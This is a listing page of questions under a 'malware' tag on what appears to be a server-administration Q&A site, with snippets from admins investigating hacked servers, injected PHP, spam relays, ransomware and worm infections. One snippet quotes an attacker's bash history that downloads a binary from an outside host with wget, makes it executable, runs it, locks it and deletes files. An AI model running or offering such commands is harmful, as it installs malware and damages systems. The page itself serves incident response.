Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

learn more… | top users | synonyms (1)

0
votes
2answers
47 views

How can I check who created a file on server?

Looking through server logs I've noticed some mailicious PHP files hidden among WP and Joomla folders and I'm wondering how they got on the server. Is there a way to review that? It's a shared hosting ...
0
votes
0answers
20 views

My server got hacked [duplicate]

My server was hacked and I've found the next in the bash history: cd /usr/bin wget lixianddos.com:2211/syslog chmod u+x syslog ./syslog ss chattr +i syslog mv chattr ddos rm -rf ...
0
votes
0answers
11 views

Filter internal mails for Spam on Office 365 (Exchange Online)

Whilst making the transition from the On-Premises Exchange 2010 Server to Office 365 (Exchange Online), we temporarily left unconfigured our E-mail filtering smart host (Websense Cloud E-mail ...
0
votes
0answers
15 views

CentOS VPS is possibly rooted, but no tools show anything [duplicate]

I've received a notification from my VPS provider (Afterburst) that my VPS is trying to scan and bruteforce other people's servers. I know that I'm not doing this, and I know that nobody else with ...
0
votes
1answer
29 views

Strange process running

I just mentioned that one user starts a process which is called "httpd". 31712 ftp_johndoe 20 0 35988 8828 1460 S 14.0 0.0 1h50:31 httpd 28616 ftp_johndoe 20 0 5304M 43936 35080 S 4.0 0.2 ...
0
votes
0answers
37 views

How does FireAmp (anti-malware) actually work?

Several companies I know of are rolling out an anti-malware product called FireAMP. The publisher's website is long on hype and short on technical details. How does the product actually work? I'm ...
-1
votes
2answers
91 views

Is there a quick & easy solution to protect server 2012 against malware?

For a Windows Server 2012 Standard GUI version to support a small IDE Getting malware protection on my 1st server has become a much bigger problem than I imagined it would. My research covered a lot ...
0
votes
0answers
26 views

FTP Command runs at login for server [duplicate]

I have a windows 2003 server (yes i know it is EOL and needs updated but that is not the point of this question). Everytime I go to log onto the server, I get a command prompt that comes up and tries ...
0
votes
0answers
13 views

Defunct process Rev1112

We were having the following output in top on a Debian box on XenServer: top - 10:00:55 up 10 days, 24 min, 5 users, load average: 126.79, 128.96, 71.39 Tasks: 10382 total, 1 running, 4801 ...
-3
votes
0answers
28 views

How to disable Symbolic link creation option to users in cPanel server? [closed]

In shared hosting server, one user is trying to upload 100s of symbolic link files and trying to access files out side. Mostly it is for malicious purpose. In this image, you can see 100s of symlink ...
0
votes
1answer
22 views

SCEP: imitate potential threat in both live and regular scanner to inspect logs

I am doing some powershell stuff to parse a few logs at work. I would also like to collect some information from the SCEP logs. I find the amount of logs available as well as the different locations ...
0
votes
0answers
19 views

parsing SCEP logs: last definitions update, last scan, viruses found [duplicate]

I would like to write some powershell scripts to extract some information from the SCEP log files. Particularly, I am interested in the following information when was the last scan performed? ...
2
votes
0answers
43 views

Linux Malware Detection Monitoring: Clean files after hit

I'm using LMD ("Maldet") for scanning a web server with different projects. For this purpose I'm using the inotify-monitoring. Well, the inotify-log shows, that the modified files are noticed, but I ...
0
votes
2answers
327 views

clamscan using maldet Error: Servname not supported for ai_socktype

So i have installed Linux Malware Detect (maldet) to scan a server and everything went fine with installation but when i run it i get an error. Bunch of errors and than the scan just closes it. Here ...
-1
votes
1answer
67 views

SED multiline recursive find and replace [duplicate]

I have a large number of sites with the same bit of php inserted in all files that contain footer in their filenames. //###==### malicious code //###==### How to use SED or another command to ...
1
vote
1answer
117 views

Receiving empty mails from three different Windows PC's since 12 January, 2015

Problem Unexpected empty emails are sent by an unknown source since 12 January, 2015. Attempts to solve the issue they are all from company where I do network/sys support they are all from Windows ...
0
votes
1answer
145 views

How to remove crypto-ransomware on my network domain

Today some computer on my domain got infected with crypto-ransomware and have infected some folders on file server that only some computers on network have access to. So I presume one or more of five ...
0
votes
0answers
24 views

Suspicious process running in background in Fedora [duplicate]

There is a suspicious process which every time I boot Fedora starts and eats a percentage of CPU (10%~30%) and I think its name seriously denotes that it is malware! However, the name keeps changing ...
1
vote
2answers
41 views

Why is this server generating outbound IRC connections? [duplicate]

I noticed last night whilst checking our active sessions list on our firewall for something else, that a server was generating outbound IRC connections. Last night there was around 60 connections but ...
0
votes
2answers
241 views

My servers are overloaded with random GET requests. Why? [duplicate]

I'm getting a huge amount of traffic to web servers looking for bittorrent type queries: 110.152.78.14 - - [27/Jan/2015:01:45:22 +0000] "GET ...
0
votes
0answers
15 views

Virus sends mails via sendmail [duplicate]

I noticed that my server has some bad software that sends mails via sendmail which couses a very slow working. I scaned server with clamscan but without effect. Is there any way to find out which ...
0
votes
1answer
158 views

Automatic installation of DbSecurityspt folder [duplicate]

We have an Amazon EC2 instance. The folder DbSecurityspt gets automatically installed in c:/ProgramFiles and the associated service also starts automatically. Removing them, installs them again the ...
0
votes
0answers
25 views

Suspicious process self with random name in Fedora 20 [duplicate]

When I run top I see a two processes run by root with all random letters(jycybezyxa and jycybezyxa): >Tasks: 246 total, 2 running, 236 sleeping, 0 stopped, 8 zombie >%Cpu(s): 15.3 us, ...
-1
votes
1answer
132 views

Server is trying to send out spam [duplicate]

My email server is attempting to send out a great deal of spam. I'm using Postfix & Dovecot. I'm trying to diagnose the problem and figure out how this is being sent. My guess right now is that ...
-1
votes
1answer
110 views

Backdoor:PHP/Shell.P keeps regenerating.Caught by Antivirus. [duplicate]

I have a windows server 2008 with PHP on it and a few Wordpress sites on it. I got a virus some time ago. I thought I had it deleted and everything was fine but after looking at my Quarantine section ...
1
vote
4answers
227 views

Blocking Invalid HTTP Requests to PHP Application

For the first time in a number of years, I'm semi-responsible for helping out with the server administration of a PHP web application (served out using Apache). We're seeing a number of requests for ...
0
votes
1answer
133 views

Apache2 Mod_spamhaus Whitelist

We are using Apache2 mod_spamhaus and many customers were banned using the "Post" method. There is no way to deny mod_spamhaus ban continuously our customers making false positive or ban customers ...
3
votes
2answers
227 views

High number connections coming from an IP

On our corporate network we're detecting workstations opening too many connections to the IP address 75.126.196.159 (port 3478) causing the Cisco ASA Firewall 5550 to detect a "SYN Attack" and reach ...
-5
votes
1answer
58 views

How to check if any malevolent scripts are running on the server? [closed]

I want to give some small jobs to freelancers who would have FTP access to my websites hosted on my server. I heard that sometimes it's possible they put malevolent scripts and software on the ...
0
votes
2answers
2k views

High CPU load on Centos with process sync_supers

My centos server has high cpu load right now. Please see the Htop output below. sync_supers is very suspected but I don't know how to kill it. Any suggestions?
1
vote
2answers
61 views

Best way to trace outgoing requests from a server

We have an Ubuntu 14.04.1 LTS server with nginx 1.4.6 that hosts a few dozen websites and received an abuse complaint from another server of hundreds of requests like this: "POST /wp-login.php ...
0
votes
1answer
229 views

Monitoring “external” worm activity remotely

Some of our computers in our company has been infected with the worm Conficker. We don't know the source of the infection, but I want to monitoring the outside activity to see if we are still infected ...
0
votes
2answers
138 views

Server compromised, how deep is the intrusion when PHP files are changed in folder without write permissions [duplicate]

I know there have been a lot of similar questions, but none of them covered this specific question: I found on almost all PHP files on a clients server script injections, it was actually the script ...
-1
votes
1answer
470 views

Getting rid of Trojan on Debian Server [duplicate]

-------- EDIT --------- I do not agree that this is a duplicate of the linked question. I know that the correct way to deal with this is to wipe and reinstall the server. However, i am interested in ...
-1
votes
1answer
200 views

My website redirects to malware link [duplicate]

I coded my own website and uploaded to a host. Some days ago I realized that in front page suddenly redirects to an unknown websites, until 3-4 redirects. The redirects ends up at: ...
0
votes
1answer
130 views

How to add wildcards to Linux Malware Detect ignore_paths

I am using Linux Malware Detect to scan and report on malware, but on a daily basis I receive alerts for malware in users emails (mainly spam folder). I do not want alerts for this, the spam folders ...
0
votes
1answer
173 views

sed comand - remove virus from wordpress [duplicate]

I have malicious code in every php file. This malicius code is auto paste at the beginning of file. I want to remove this with UNIX command from console. This is malicious code: <?php ...
0
votes
0answers
162 views

rkhunter reports suspicious activity /bin/usr/wget and killall permissions changed

Sorry about the long post but please bear with me. I'm wondering if my system has been compromised. I've had issues in the past on this VM server with a Linux.BackDoor.Gates.5 Trojan that was DDoSing ...
1
vote
2answers
75 views

Unknown issue taking down client machines, virus or coincidence

I’m sorry if this should be on SuperUser instead of ServerFault. Please ask me to migrate the question instead of flaming. I’ve had 2 windows desktops go down on the network in the space of one ...
0
votes
0answers
56 views

Maldetect Ignore List Not Being Honoured

I'm using Maldetect on CentOS to scan for malware on my server. I have hundreds of thousands of audio files on my server which I do not want scanned. According to the README: ...
1
vote
1answer
44 views

How do I find what PHP script is changing the file

I have apache installed with mod_php PHP5. I've been able to find out that apache process is changing my .htaccess and index.php files in /var/www directory. All files in this directory are owned by ...
0
votes
1answer
65 views

Host says server is affected by malware, anyone knows this one ? What to do? [duplicate]

My host sent a notification that says server is infected with a malware, it doesn't seem very popular. The Symantec site about this malware shows windows machines as targets, but not CentOS. Anyone ...
0
votes
2answers
157 views

Is this slowloris attack or not?

IP is hidden in apache log for privacy, except last octet. /billing is our application start page. But it doesn't make sense that it sends POST requests, and get 500 response. Or maybe this is ...
2
votes
0answers
359 views

Slowloris on Apache: is mod_reqtimeout + mod_qos enough?

I detected few days ago that my server was under slowloris attack (I found a lot of "-" 408 0 "-" "-" values in my access.log). I changed my configuration like this: In mod_reqtimeout: ...
1
vote
1answer
100 views

malware infected server respawing of files [duplicate]

So I have a clients server that is infected with malware. Basically any index.php file on the server was infected as well as header.php, function.php. The infection seems to be primarily wordpress ...
0
votes
1answer
141 views

What are best practices for defense against CryptoLocker type threats in an Active Directory environment?

What are best practices for defense against CryptoLocker type threats in an Active Directory environment? Are there Group Policies that could help? NTFS permissions? Anti-virus software?
0
votes
1answer
60 views

How to view traffic operating on a specific port without plugging into egress interface? (Cisco IOS)

I'm trying to track down what host is infected with ZeroAccess on my network. It runs on ports 16464-16471. I would like to find this host without having to connect my laptop to the egress (WAN) ...
-2
votes
1answer
50 views

Random port in Filtered state for brief amount of time found using nmap , possible trojan?

Nmap results show me port 3527 open for brief period of time and then it disappears. I have a feeling this could be trojan communicating with mothership. Or something normal, but I cannot find much ...
0
votes
2answers
810 views

How do I remove 1 line of code from PHP files containing a specific string? [duplicate]

By coincidence I noticed that quite some of the PHP files of the sites I host have had malware injected: They all have the following line before the original/correct code: <?php ...
-2
votes
2answers
142 views

Conficker Virus Infection: Where did it start? [closed]

I have a network-wide Conficker infestation, and we have been working on starting virus scans on all our servers and workstations. It is being erased one by one, but I was wondering if there is a ...